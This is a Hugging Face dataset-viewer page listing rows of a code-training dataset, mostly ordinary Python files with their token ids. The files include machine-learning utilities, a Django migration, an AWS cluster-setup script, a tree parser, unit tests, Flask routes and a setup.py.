paulo037/starcoder · Datasets at Hugging Face

max_stars_repo_path stringlengths 4 237	max_stars_repo_name stringlengths 6 117	max_stars_count int64 0 95.2k	id stringlengths 1 7	content stringlengths 12 593k	input_ids sequencelengths 7 549k
Advance-Statistical-Learning/GradientDescent.py	mborkhat/mtech-data-science	2	56393	from sklearn.preprocessing import scale import numpy as np class GradientDescent: learning_rate = 0.01 max_iter = 2000 scale = False new_theta = [] def __init__(self, learning_rate=0.01, max_iter=2000, scale=False): self.learning_rate = learning_rate self.max_iter = max_iter self.scale = scale def fit(self, X, y): ones = [1] * len(X) if self.scale: X = scale(X) X = np.transpose(np.concatenate((np.array([ones]).reshape(-1, 1), X), axis=1)) zeroes = [0] * X.shape[0] theta = np.array([zeroes]) for i in range(self.max_iter): htheta = np.dot(theta, X) diff_theta = htheta - y.values partial_derivative_theta = np.dot(diff_theta, np.transpose(X)) / len(y.values) theta = theta - self.learning_rate * partial_derivative_theta self.new_theta.append(theta) def predict(self, X): if scale: X = scale(X) theta0 = self.new_theta[self.max_iter-1][0][0] thetas = [] for i in range(1, self.new_theta[self.max_iter-1].shape[1]): thetas.append(self.new_theta[self.max_iter-1][0][i]) predict = theta0 + (thetas * X).sum(axis=1) return(predict) def score(self, X, y): if scale: X = scale(X) pred_y = self.predict(X) mean_y = y.mean() ess = sum((y - mean_y) 2) rss = sum((y - pred_y) 2) rsquared = 1 - (rss/ess) return rsquared	[ 1, 515, 2071, 19668, 29889, 1457, 19170, 1053, 6287, 30004, 13, 5215, 12655, 408, 7442, 30004, 13, 1990, 19295, 993, 4002, 1760, 29901, 30004, 13, 1678, 6756, 13, 1678, 6509, 29918, 10492, 353, 29871, 29900, 29889, 29900, 29896, 30004, 13, 1678, 4236, 29918, 1524, 353, 29871, 29906, 29900, 29900, 29900, 30004, 13, 1678, 6287, 353, 7700, 30004, 13, 1678, 716, 29918, 3416, 353, 5159, 30004, 13, 1678, 6756, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 6509, 29918, 10492, 29922, 29900, 29889, 29900, 29896, 29892, 4236, 29918, 1524, 29922, 29906, 29900, 29900, 29900, 29892, 6287, 29922, 8824, 1125, 30004, 13, 4706, 1583, 29889, 21891, 29918, 10492, 353, 6509, 29918, 10492, 30004, 13, 4706, 1583, 29889, 3317, 29918, 1524, 353, 4236, 29918, 1524, 30004, 13, 4706, 1583, 29889, 7052, 353, 6287, 30004, 13, 4706, 6756, 13, 1678, 822, 6216, 29898, 1311, 29892, 1060, 29892, 343, 1125, 30004, 13, 4706, 6743, 353, 518, 29896, 29962, 334, 7431, 29898, 29990, 8443, 13, 4706, 565, 1583, 29889, 7052, 29901, 30004, 13, 9651, 1060, 353, 6287, 29898, 29990, 8443, 13, 4706, 1060, 353, 7442, 29889, 3286, 4220, 29898, 9302, 29889, 535, 29883, 2579, 403, 3552, 9302, 29889, 2378, 4197, 2873, 14664, 690, 14443, 6278, 29896, 29892, 29871, 29896, 511, 1060, 511, 9685, 29922, 29896, 876, 30004, 13, 4706, 5225, 267, 353, 518, 29900, 29962, 334, 1060, 29889, 12181, 29961, 29900, 29962, 30004, 13, 4706, 278, 941, 353, 7442, 29889, 2378, 4197, 9171, 267, 2314, 30004, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 3317, 29918, 1524, 1125, 30004, 13, 9651, 298, 3416, 353, 7442, 29889, 6333, 29898, 3416, 29892, 1060, 8443, 13, 9651, 2923, 29918, 3416, 353, 298, 3416, 448, 343, 29889, 5975, 30004, 13, 9651, 7687, 29918, 672, 440, 1230, 29918, 3416, 353, 7442, 29889, 6333, 29898, 12765, 29918, 3416, 29892, 7442, 29889, 3286, 4220, 29898, 29990, 876, 847, 7431, 29898, 29891, 29889, 5975, 8443, 13, 9651, 278, 941, 353, 278, 941, 448, 1583, 29889, 21891, 29918, 10492, 334, 7687, 29918, 672, 440, 1230, 29918, 3416, 30004, 13, 9651, 1583, 29889, 1482, 29918, 3416, 29889, 4397, 29898, 3416, 8443, 13, 1678, 6756, 13, 1678, 822, 8500, 29898, 1311, 29892, 1060, 1125, 30004, 13, 4706, 565, 6287, 29901, 30004, 13, 9651, 1060, 353, 6287, 29898, 29990, 8443, 13, 4706, 278, 941, 29900, 353, 1583, 29889, 1482, 29918, 3416, 29961, 1311, 29889, 3317, 29918, 1524, 29899, 29896, 3816, 29900, 3816, 29900, 29962, 30004, 13, 4706, 278, 29873, 294, 353, 5159, 30004, 13, 4706, 363, 474, 297, 3464, 29898, 29896, 29892, 1583, 29889, 1482, 29918, 3416, 29961, 1311, 29889, 3317, 29918, 1524, 29899, 29896, 1822, 12181, 29961, 29896, 29962, 1125, 30004, 13, 9651, 278, 29873, 294, 29889, 4397, 29898, 1311, 29889, 1482, 29918, 3416, 29961, 1311, 29889, 3317, 29918, 1524, 29899, 29896, 3816, 29900, 3816, 29875, 2314, 30004, 13, 4706, 8500, 353, 278, 941, 29900, 718, 313, 386, 300, 294, 334, 1060, 467, 2083, 29898, 8990, 29922, 29896, 8443, 13, 4706, 736, 29898, 27711, 8443, 13, 1678, 6756, 13, 1678, 822, 8158, 29898, 1311, 29892, 1060, 29892, 343, 1125, 30004, 13, 4706, 565, 6287, 29901, 30004, 13, 9651, 1060, 353, 6287, 29898, 29990, 8443, 13, 4706, 4450, 29918, 29891, 353, 1583, 29889, 27711, 29898, 29990, 8443, 13, 4706, 2099, 29918, 29891, 353, 343, 29889, 12676, 26471, 13, 4706, 3686, 353, 2533, 3552, 29891, 448, 2099, 29918, 29891, 29897, 3579, 29871, 29906, 8443, 13, 4706, 364, 893, 353, 2533, 3552, 29891, 448, 4450, 29918, 29891, 29897, 3579, 29871, 29906, 8443, 13, 4706, 20371, 339, 1965, 353, 29871, 29896, 448, 313, 29878, 893, 29914, 404, 8443, 13, 4706, 736, 20371, 339, 1965, 2 ]
netbox/tenancy/migrations/0002_tenant_ordering.py	cybarox/netbox	4,994	120343	<reponame>cybarox/netbox from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('tenancy', '0001_squashed_0012'), ] operations = [ migrations.AlterModelOptions( name='tenant', options={'ordering': ['name']}, ), ]	[ 1, 529, 276, 1112, 420, 29958, 1270, 1646, 2251, 29914, 1212, 1884, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 13, 13, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 13, 13, 1678, 9962, 353, 518, 13, 4706, 6702, 841, 6906, 742, 525, 29900, 29900, 29900, 29896, 29918, 26613, 25936, 29918, 29900, 29900, 29896, 29906, 5477, 13, 1678, 4514, 13, 13, 1678, 6931, 353, 518, 13, 4706, 9725, 800, 29889, 2499, 357, 3195, 5856, 29898, 13, 9651, 1024, 2433, 841, 424, 742, 13, 9651, 3987, 3790, 29915, 2098, 292, 2396, 6024, 978, 2033, 1118, 13, 4706, 10353, 13, 1678, 4514, 13, 2 ]
Exercício feitos pela primeira vez/ex025.py	Claayton/pythonExerciciosLinux	1	159102	#Exercício025 name = str(input('Qual seu nome completo?: ')).strip().upper() print('Seu nome tem a palavra SILVA?: {}'.format('SILVA'in name)) print('xD')	[ 1, 396, 1252, 6269, 24394, 29900, 29906, 29945, 13, 978, 353, 851, 29898, 2080, 877, 24399, 5078, 9235, 1614, 517, 25825, 525, 8106, 17010, 2141, 21064, 580, 13, 2158, 877, 2008, 29884, 9235, 1350, 263, 5112, 485, 336, 317, 6227, 20449, 25825, 6571, 4286, 4830, 877, 5425, 29931, 20449, 29915, 262, 1024, 876, 13, 2158, 877, 29916, 29928, 1495, 13, 2 ]
scripts/ucnf-kiknos/pyaws/create_cluster.py	mihmatache/nsm-nse	0	62569	import argparse import json import subprocess import sys from eks import AwsCluster from shell import run_out, run_in from utils import reduce_subnets, get_current_region DEFAULT_CIDR_BLOCK = "192.168.0.0/16" def create_cluster(data): run_in("eksctl", "create", "cluster", "-f", "-", **data) def generate_cluster_cfg(name, region, cidr, vpcid, private, public): return { 'apiVersion': 'eksctl.io/v1alpha5', 'kind': 'ClusterConfig', 'metadata': { 'name': name, 'region': region }, 'vpc': { 'cidr': cidr, 'id': vpcid, 'subnets': { 'private': reduce_subnets(private), 'public': reduce_subnets(public) } } if private and public and vpcid else { 'cidr': cidr, 'nat': {'gateway': 'Single'}, 'clusterEndpoints': {'publicAccess': True, 'privateAccess': True} }, 'nodeGroups': [ { 'name': 'member-ng', 'minSize': 2, 'maxSize': 2, 'instancesDistribution': { 'maxPrice': 0.093, 'instanceTypes': ["t3a.large", "t3.large"], 'onDemandBaseCapacity': 0, 'onDemandPercentageAboveBaseCapacity': 50, 'spotInstancePools': 2 }, 'ssh': { 'publicKeyPath': '~/.ssh/id_rsa.pub' }, 'iam': { 'withAddonPolicies': { 'externalDNS': True } } } ] } def open_security_groups(cluster_name, region): res = run_out("aws", "ec2", "describe-security-groups", "--region", region, "--filters", "Name=tag:aws:cloudformation:logical-id,Values=SG", "Name=tag:alpha.eksctl.io/cluster-name,Values=" + cluster_name) sg = res['SecurityGroups'] if len(sg) < 1: raise Exception("no security group found for cluster {0} nodegroup".format(cluster_name)) subprocess.check_call( ["aws", "ec2", "authorize-security-group-ingress", "--group-id", sg[0]['GroupId'], "--protocol", "-1", "--port", "-1", "--cidr", "0.0.0.0/0", "--region", region]) def main(): parser = argparse.ArgumentParser(description='Utility for dealing with AWS clusters') parser.add_argument('--name', required=True, help='Member cluster name to create config for.') parser.add_argument('--region', required=False, help='Member cluster region') parser.add_argument('--ref', required=False, help='Reference cluster name (client cluster will use reference clusters vpc when is created)') parser.add_argument('--cidr', required=False, help='Client cluster name to create config yaml for.') parser.add_argument('--test', required=False, help='Dump generated config', action='store_true') parser.add_argument('--open-sg', required=False, help='Open all ports and all ips for SecurityGroups', dest='open_sg', action='store_true') args = parser.parse_args() cidr = args.cidr if args.cidr else DEFAULT_CIDR_BLOCK region = args.region if args.region else get_current_region() priv_subnets, pub_subnets, vpcid = None, None, None if args.ref: reference_cluster = AwsCluster(args.ref, region) priv_subnets = reference_cluster.get_subnets("Private") pub_subnets = reference_cluster.get_subnets("Public") vpcid = reference_cluster.get_vpcid() cfg = generate_cluster_cfg(args.name, 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data_structure/const_tree.py	alipay/StructuredLM_RTDT	42	10206	<reponame>alipay/StructuredLM_RTDT # coding=utf-8 # Copyright (c) 2021 <NAME> import sys LABEL_SEP = '@' INDENT_STRING1 = '│ ' INDENT_STRING2 = '├──' EMPTY_TOKEN = '___EMPTY___' def print_tree(const_tree, indent=0, out=sys.stdout): for i in range(indent - 1): out.write(INDENT_STRING1) if indent > 0: out.write(INDENT_STRING2) out.write(const_tree.tag) if not isinstance(const_tree.children[0], ConstTree): out.write(f' {const_tree.children[0].string}\n') else: out.write('\n') for child in const_tree.children: print_tree(child, indent + 1, out) def _make_tree(string, make_leaf_fn, make_internal_fn): tokens = string.replace('(', ' ( ').replace(')', ' ) ').split() index, stack = 0, [] lexicons = [] root = None while index < len(tokens): token = tokens[index] index += 1 if token == ')': if not stack: raise ConstTreeParserError('redundant ")" at token ' + str(index)) node = stack.pop() if not stack: root = node else: stack[-1].children.append(node) elif token == '(': tag = tokens[index] index += 1 stack.append(make_internal_fn(tag)) else: if not stack: raise ConnectionError('??? at pos ' + str(index)) new_token = [] while token != ')': if not token != '(': raise Exception('bracket error') new_token.append(token) token = tokens[index] index += 1 # is lexicon leaf_node = make_leaf_fn('_'.join(new_token)) lexicons.append(leaf_node) postag_node = stack.pop() postag_node.children.append(leaf_node) if not stack: root = postag_node else: stack[-1].children.append(postag_node) if not root or stack: raise ConstTreeParserError('missing ")".') return root, lexicons class ConstTreeParserError(Exception): pass class Lexicon: __slots__ = ('string', 'span', 'parent') def __init__(self, string, span=None): self.string = string self.span = span def __str__(self): return f'<Lexicon {self.string}>' def __repr__(self): return str(self) def __eq__(self, other): return self.string == other.string def __hash__(self): return hash(self.string) + 2 @property def tag(self): return self.string def to_string(self, quote_lexicon): if quote_lexicon: return f'"{self.string}"' return self.string class ConstTree: __slots__ = ('children', 'tag', 'span', 'index', 'parent', 'attrs') ROOT_LABEL = 'ROOT' def __init__(self, tag, children=None, span=None): self.tag = tag self.children = children if children is not None else [] self.span = span self.index = None def __str__(self): child_string = ' + '.join(child.tag for child in self.children) return f'{self.span} {self.tag} => {child_string}' def __repr__(self): return str(self) def __getitem__(self, index): if isinstance(index, int): return self.children[index] if isinstance(index, str): for child in self.children: if isinstance(child, ConstTree) and child.tag == index.upper(): return child raise KeyError def to_string(self, quote_lexicon=False): child_string = ' '.join(child.to_string(quote_lexicon) for child in self.children) return f'({self.tag} {child_string})' @staticmethod def from_string(string): """ Construct ConstTree from parenthesis representation. :param string: string of parenthesis representation :return: ConstTree root and all leaf Lexicons """ tree, lexicons = _make_tree(string, Lexicon, ConstTree) for index, lexicon in enumerate(lexicons): lexicon.span = index, index + 1 tree.populate_spans_internal() return tree, lexicons def traverse_postorder(self): for child in self.children: if isinstance(child, ConstTree): yield from child.traverse_postorder() yield self def traverse_postorder_with_lexicons(self): for child in self.children: if isinstance(child, ConstTree): yield from child.traverse_postorder_with_lexicons() else: yield child yield self def generate_preterminals(self): for child in self.children: if isinstance(child, ConstTree): yield from child.generate_preterminals() for child in self.children: if isinstance(child, Lexicon): yield self def generate_lexicons(self): for child in self.children: if isinstance(child, ConstTree): yield from child.generate_lexicons() for child in self.children: if isinstance(child, Lexicon): yield child def is_binary_tree(self): if isinstance(self.children[0], Lexicon): return True return len(self.children <= 2) and all(child.is_binary_tree() for child in self.children) def condensed_unary_chain(self, include_preterminal=True, remove_root=None): if self.tag == remove_root: assert len(self.children) == 1 return self.children[0].condensed_unary_chain(include_preterminal=include_preterminal) if len(self.children) > 1: return ConstTree(self.tag, children=list(child.condensed_unary_chain() for child in self.children), span=self.span) if isinstance(self.children[0], Lexicon): return ConstTree((self.tag if include_preterminal else EMPTY_TOKEN), children=list(self.children), span=self.span) assert isinstance(self.children[0], ConstTree) node = self new_tag = self.tag while len(node.children) == 1 and isinstance(node.children[0], ConstTree): node = node.children[0] if include_preterminal or isinstance(node.children[0], ConstTree): new_tag += LABEL_SEP + node.tag if len(node.children) == 1: children = list(node.children) else: children = list(child.condensed_unary_chain() for child in node.children) return ConstTree(new_tag, children=children, span=self.span) def expanded_unary_chain(self, add_root=None): if isinstance(self.children[0], Lexicon): children = list(self.children) else: children = list(child.expanded_unary_chain() for child in self.children) tags = self.tag.split(LABEL_SEP) for tag in reversed(tags): children = [ConstTree(tag, children=children, span=self.span)] root = children[0] if add_root: root = ConstTree(add_root, children=[root]) return root def calculate_span(self): self.span = self.children[0].span[0], self.children[-1].span[1] def populate_spans_internal(self): for child in self.children: if isinstance(child, ConstTree): child.populate_spans_internal() self.calculate_span() def add_postorder_index(self): for index, node in enumerate(self.traverse_postorder()): node.index = index def add_parents(self, parent=None): self.parent = parent for child in self.children: if isinstance(child, ConstTree): child.add_parents(self) def is_ancestor_of(self, other): other = other.parent while other is not None and other is not self: other = other.parent return other is not None def generate_path_to_root(self, include_self=False): node = self if not include_self: node = self.parent while node is not None: yield node node = node.parent def lowest_common_ancestor(self, other): path = list(other.generate_path_to_root()) for node in self.generate_path_to_root(): try: return path[path.index(node)] except ValueError: pass def remove_nodes(self, filter): _children = [] for c in self.children: if isinstance(c, ConstTree): if filter(c): pass else: filtered_node = c.remove_nodes(filter) _children.append(filtered_node) else: _children.append(c) return ConstTree(self.tag, _children)	[ 1, 529, 276, 1112, 420, 29958, 284, 666, 388, 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regression-tests/sparktkregtests/testcases/frames/column_method_rename_test.py	lewisc/spark-tk	34	109338	<reponame>lewisc/spark-tk # vim: set encoding=utf-8 # Copyright (c) 2016 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # vim: set encoding=utf-8 # Copyright (c) 2016 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """Tests methods that access or alter columns""" import unittest from sparktkregtests.lib import sparktk_test dummy_int_val = -77 # placeholder data value for added column dummy_col_count = 1000 # length of dummy list for column add # This method is to test different sources of functions # i.e. global def global_dummy_val_list(row): return [dummy_int_val for _ in range(0, dummy_col_count)] class ColumnMethodTest(sparktk_test.SparkTKTestCase): # Test class bound methods @staticmethod def static_dummy_val_list(row): return [dummy_int_val for _ in range(0, dummy_col_count)] def setUp(self): """Build test_frame""" super(ColumnMethodTest, self).setUp() dataset = self.get_file("int_str_float.csv") schema = [("int", int), ("str", str), ("float", float)] self.frame = self.context.frame.import_csv(dataset, schema=schema) def test_rename_columns(self): """Test renaming columns works""" self.frame.add_columns( lambda row: dummy_int_val, ('product', int)) col_count = len(self.frame.take(1)[0]) self.frame.rename_columns( {'int': 'firstNumber', 'float': 'secondNumber'}) self.assertEqual(col_count, len(self.frame.take(1)[0])) self.assertNotIn('int', self.frame.column_names) self.assertNotIn('float', self.frame.column_names) self.assertIn('firstNumber', self.frame.column_names) self.assertIn('secondNumber', self.frame.column_names) def test_redundant_rename(self): """Test renaming with the same name works""" col_count = len(self.frame.take(1)[0]) self.frame.rename_columns({'str': 'str'}) self.assertEqual(col_count, len(self.frame.take(1)[0])) self.assertIn('str', self.frame.column_names) def test_swap_column_names(self): """Test swapping column names works""" col_count = len(self.frame.take(1)[0]) self.frame.rename_columns({'str': 'int', 'int': 'str'}) self.assertEqual(col_count, len(self.frame.take(1)[0])) self.assertEqual(u'str', self.frame.column_names[0]) self.assertEqual(u'int', self.frame.column_names[1]) def test_multi_column_names_collision_no_force(self): """Test a multiple column rename with collisions fails""" with self.assertRaisesRegexp( Exception, "Invalid new column names are not unique"): self.frame.rename_columns({'str': 'alpha', 'int': 'times', 'float': 'alpha'}) def test_rename_existing_name_no_force(self): """Test renaming to an existing name errors""" with self.assertRaisesRegexp( Exception, "Invalid new column name 'str' collides"): self.frame.rename_columns({'int': 'str'}) def test_multi_column_names_collision(self): """Test a multiple column rename with collisions fails""" with self.assertRaisesRegexp( Exception, "Invalid new column names are not unique"): self.frame.rename_columns({'str': 'alpha', 'int': 'times', 'float': 'alpha'}) self.frame.inspect() def test_rename_existing_name(self): """Test renaming to an existing name errors""" with self.assertRaisesRegexp( Exception, "Invalid new column name 'str' collides"): self.frame.rename_columns({'int': 'str'}) self.frame.inspect() def test_rename_non_existent(self): """Test renaming a non-existent column fails""" with self.assertRaisesRegexp(Exception, "Invalid column"): self.frame.rename_columns({'no-such-name': 'not-a-name'}) def test_rename_with_special_characters(self): """Test renaming with special characters errors""" with self.assertRaisesRegexp(Exception, "alpha-numeric"): self.frame.rename_columns( {'int': 'Long ugly !@#$%^&*(?)_+\|}{[\\]\\|'}) if __name__ == "__main__": unittest.main()	[ 1, 529, 276, 1112, 420, 29958, 280, 29893, 10669, 29914, 12597, 29899, 11178, 13, 29937, 325, 326, 29901, 731, 8025, 29922, 9420, 29899, 29947, 13, 13, 29937, 29871, 14187, 1266, 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modelutils/caffe/extract_prototxt_from_caffemodel.py	shonohs/modelutils	1	172173	<filename>modelutils/caffe/extract_prototxt_from_caffemodel.py<gh_stars>1-10 """Extract prototxt file from caffemodel file. """ import argparse import pathlib from caffe.proto import caffe_pb2 def extract_prototxt_from_caffemodel(caffemodel_filepath, output_prototxt_filepath): model = caffe_pb2.NetParameter() model.ParseFromString(caffemodel_filepath.read_bytes()) # Remove weights from the model. for layer in model.layer: layer.ClearField('phase') if hasattr(layer, 'blobs'): del layer.blobs[:] # Remove Split layers from the model. top_aliases = {} split_layers = [layer for layer in model.layer if layer.type == 'Split'] non_split_layers = [layer for layer in model.layer if layer.type != 'Split'] for layer in split_layers: assert len(layer.bottom) == 1 for top in layer.top: top_aliases[top] = layer.bottom[0] del model.layer[:] model.layer.extend(non_split_layers) # Rename the aliases. for layer in model.layer: for i, bottom in enumerate(layer.bottom): if bottom in top_aliases: layer.bottom[i] = top_aliases[bottom] output_prototxt_filepath.write_text(str(model)) def main(): parser = argparse.ArgumentParser() parser.add_argument('caffemodel_filepath', type=pathlib.Path) parser.add_argument('output_filepath', type=pathlib.Path) args = parser.parse_args() if args.output_filepath.exists(): parser.error(f"{args.output_filepath} already exists.") extract_prototxt_from_caffemodel(args.caffemodel_filepath, args.output_filepath) if __name__ == '__main__': main()	[ 1, 529, 9507, 29958, 4299, 13239, 29914, 1113, 17615, 29914, 21111, 29918, 771, 4260, 486, 29918, 3166, 29918, 1113, 600, 331, 27224, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 5647, 1461, 410, 4260, 486, 934, 515, 274, 3470, 331, 27224, 934, 29889, 13, 15945, 29908, 13, 5215, 1852, 5510, 13, 5215, 2224, 1982, 13, 3166, 274, 3470, 29872, 29889, 17529, 1053, 274, 3470, 29872, 29918, 24381, 29906, 13, 13, 13, 1753, 6597, 29918, 771, 4260, 486, 29918, 3166, 29918, 1113, 600, 331, 27224, 29898, 1113, 600, 331, 27224, 29918, 1445, 2084, 29892, 1962, 29918, 771, 4260, 486, 29918, 1445, 2084, 1125, 13, 1678, 1904, 353, 274, 3470, 29872, 29918, 24381, 29906, 29889, 6779, 9329, 580, 13, 1678, 1904, 29889, 12914, 4591, 1231, 29898, 1113, 600, 331, 27224, 29918, 1445, 2084, 29889, 949, 29918, 13193, 3101, 13, 13, 1678, 396, 15154, 18177, 515, 278, 1904, 29889, 13, 1678, 363, 7546, 297, 1904, 29889, 13148, 29901, 13, 4706, 7546, 29889, 18759, 3073, 877, 21646, 1495, 13, 4706, 565, 756, 5552, 29898, 13148, 29892, 525, 10054, 29879, 29374, 13, 9651, 628, 7546, 29889, 10054, 29879, 7503, 29962, 13, 13, 1678, 396, 15154, 26178, 15359, 515, 278, 1904, 29889, 13, 1678, 2246, 29918, 2606, 2129, 353, 6571, 13, 1678, 6219, 29918, 29277, 353, 518, 13148, 363, 7546, 297, 1904, 29889, 13148, 565, 7546, 29889, 1853, 1275, 525, 18772, 2033, 13, 1678, 1661, 29918, 5451, 29918, 29277, 353, 518, 13148, 363, 7546, 297, 1904, 29889, 13148, 565, 7546, 29889, 1853, 2804, 525, 18772, 2033, 13, 1678, 363, 7546, 297, 6219, 29918, 29277, 29901, 13, 4706, 4974, 7431, 29898, 13148, 29889, 8968, 29897, 1275, 29871, 29896, 13, 4706, 363, 2246, 297, 7546, 29889, 3332, 29901, 13, 9651, 2246, 29918, 2606, 2129, 29961, 3332, 29962, 353, 7546, 29889, 8968, 29961, 29900, 29962, 13, 1678, 628, 1904, 29889, 13148, 7503, 29962, 13, 1678, 1904, 29889, 13148, 29889, 21843, 29898, 5464, 29918, 5451, 29918, 29277, 29897, 13, 13, 1678, 396, 390, 3871, 278, 14430, 2129, 29889, 13, 1678, 363, 7546, 297, 1904, 29889, 13148, 29901, 13, 4706, 363, 474, 29892, 5970, 297, 26985, 29898, 13148, 29889, 8968, 1125, 13, 9651, 565, 5970, 297, 2246, 29918, 2606, 2129, 29901, 13, 18884, 7546, 29889, 8968, 29961, 29875, 29962, 353, 2246, 29918, 2606, 2129, 29961, 8968, 29962, 13, 13, 1678, 1962, 29918, 771, 4260, 486, 29918, 1445, 2084, 29889, 3539, 29918, 726, 29898, 710, 29898, 4299, 876, 13, 13, 13, 1753, 1667, 7295, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 580, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 1113, 600, 331, 27224, 29918, 1445, 2084, 742, 1134, 29922, 2084, 1982, 29889, 2605, 29897, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 4905, 29918, 1445, 2084, 742, 1134, 29922, 2084, 1982, 29889, 2605, 29897, 13, 13, 1678, 6389, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 1678, 565, 6389, 29889, 4905, 29918, 1445, 2084, 29889, 9933, 7295, 13, 4706, 13812, 29889, 2704, 29898, 29888, 29908, 29912, 5085, 29889, 4905, 29918, 1445, 2084, 29913, 2307, 4864, 23157, 13, 13, 1678, 6597, 29918, 771, 4260, 486, 29918, 3166, 29918, 1113, 600, 331, 27224, 29898, 5085, 29889, 1113, 600, 331, 27224, 29918, 1445, 2084, 29892, 6389, 29889, 4905, 29918, 1445, 2084, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1667, 580, 13, 2 ]
packages/dm_base/blueprints/base/routes.py	jdelrue/digital_me	0	79760	<filename>packages/dm_base/blueprints/base/routes.py from flask import render_template, redirect, request, url_for from jumpscale import j from blueprints.base import blueprint # from blueprints import login_manager login_manager = j.servers.web.latest.loader.login_manager # from blueprints import db # from blueprints.base.models import User # from flask_login import ( # current_user, # login_required, # login_user, # logout_user # ) # from .forms import LoginForm, CreateAccountForm # @blueprint.route('/') # def route_default(): # return redirect(url_for('base_blueprint.login')) # @login_required @blueprint.route('/githook', methods=['POST']) def route_github(): d=request.json name=d["repository"]['full_name'] #will be something like 'threefoldfoundation/info_foundation' account,repo=name.split("/",1) print("GITHUB:%s:%s"%(account,repo)) return ("OK") @blueprint.route('/<template>') def route_template(template): if template=="favicon.ico": return url_for('static',filename="images/favicon.png") return render_template(template + '.html') # @blueprint.route('/fixed_<template>') # @login_required # def route_fixed_template(template): # return render_template('fixed/fixed_{}.html'.format(template)) # @blueprint.route('/page_<error>') # def route_errors(error): # return render_template('errors/page_{}.html'.format(error)) # ## Login & Registration # @blueprint.route('/login', methods=['GET', 'POST']) # def login(): # login_form = LoginForm(request.form) # create_account_form = CreateAccountForm(request.form) # if 'login' in request.form: # username = str(request.form['username']) # password = str(request.form['password']) # user = User.query.filter_by(username=username).first() # if user and password == user.password: # login_user(user) # return redirect(url_for('base_blueprint.route_default')) # return render_template('errors/page_403.html') # elif 'create_account' in request.form: # login_form = LoginForm(request.form) # user = User(**request.form) # db.session.add(user) # db.session.commit() # return redirect(url_for('base_blueprint.login')) # if not current_user.is_authenticated: # return render_template( # 'login/login.html', # login_form=login_form, # create_account_form=create_account_form # ) # return redirect(url_for('home_blueprint.index')) # @blueprint.route('/logout') # @login_required # def logout(): # logout_user() # return redirect(url_for('base_blueprint.login')) # @blueprint.route('/shutdown') # def shutdown(): # func = request.environ.get('werkzeug.server.shutdown') # if func is None: # raise RuntimeError('Not running with the Werkzeug Server') # func() # return 'Server shutting down...' # ## Errors # @login_manager.unauthorized_handler # def unauthorized_handler(): # return render_template('errors/page_403.html'), 403 @blueprint.errorhandler(403) def access_forbidden(error): return render_template('errors/page_403.html'), 403 @blueprint.errorhandler(404) def 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setup.py	Knio/treecat	6	190165	from setuptools import setup import imp _version = imp.load_source("treecat._version", "treecat/_version.py") setup( name='treecat', version=_version.__version__, author='<NAME>', author_email='<EMAIL>', license='MIT', url='https://github.com/Knio/treecat', description='Displays a tree view of files and their contents', packages=['treecat'], keywords='tool file', include_package_data = True, scripts = ['tcat'], install_requires = ['colorama', 'py'], classifiers=[ 'Environment :: Console', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Intended Audience :: End Users/Desktop', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Topic :: Desktop Environment :: File Managers', 'Topic :: System :: Filesystems', 'Topic :: Utilities', ] )	[ 1, 515, 731, 21245, 8789, 1053, 6230, 13, 13, 5215, 2411, 13, 29918, 3259, 353, 2411, 29889, 1359, 29918, 4993, 703, 2484, 687, 271, 3032, 3259, 613, 376, 2484, 687, 271, 19891, 3259, 29889, 2272, 1159, 13, 13, 14669, 29898, 13, 1678, 1024, 2433, 2484, 687, 271, 742, 13, 1678, 1873, 29922, 29918, 3259, 17255, 3259, 1649, 29892, 13, 1678, 4148, 2433, 29966, 5813, 29958, 742, 13, 1678, 4148, 29918, 5269, 2433, 29966, 26862, 6227, 29958, 742, 13, 1678, 19405, 2433, 26349, 742, 13, 1678, 3142, 2433, 991, 597, 3292, 29889, 510, 29914, 29968, 17592, 29914, 2484, 687, 271, 742, 13, 13, 1678, 6139, 2433, 4205, 12922, 263, 5447, 1776, 310, 2066, 322, 1009, 8118, 742, 13, 1678, 9741, 29922, 1839, 2484, 687, 271, 7464, 13, 1678, 29361, 2433, 10154, 934, 742, 13, 1678, 3160, 29918, 5113, 29918, 1272, 353, 5852, 29892, 13, 13, 1678, 12078, 353, 6024, 29873, 4117, 7464, 13, 13, 1678, 2601, 29918, 276, 339, 2658, 353, 6024, 2780, 3304, 742, 525, 2272, 7464, 13, 13, 1678, 770, 14903, 11759, 13, 4706, 525, 18649, 4761, 9405, 742, 13, 4706, 525, 2928, 2760, 319, 4749, 663, 4761, 10682, 414, 742, 13, 4706, 525, 2928, 2760, 319, 4749, 663, 4761, 2184, 24510, 4097, 742, 13, 4706, 525, 2928, 2760, 319, 4749, 663, 4761, 2796, 23861, 29914, 17600, 742, 13, 4706, 525, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 341, 1806, 19245, 742, 13, 4706, 525, 7094, 1218, 2184, 4761, 6570, 25266, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 